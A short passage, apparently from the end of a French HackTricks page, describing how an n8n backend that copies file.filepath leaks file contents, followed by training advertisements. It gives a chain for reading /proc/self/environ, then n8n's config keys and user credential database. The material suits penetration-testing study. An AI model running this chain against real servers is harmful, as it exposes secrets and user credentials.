Le backend copie file.filepath, donc la réponse renvoie le contenu de ce chemin. Chaîne courante : lire /proc/self/environ pour connaître $HOME, puis $HOME/.n8n/config pour les clés et $HOME/.n8n/database.sqlite pour les identifiants d’utilisateurs.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks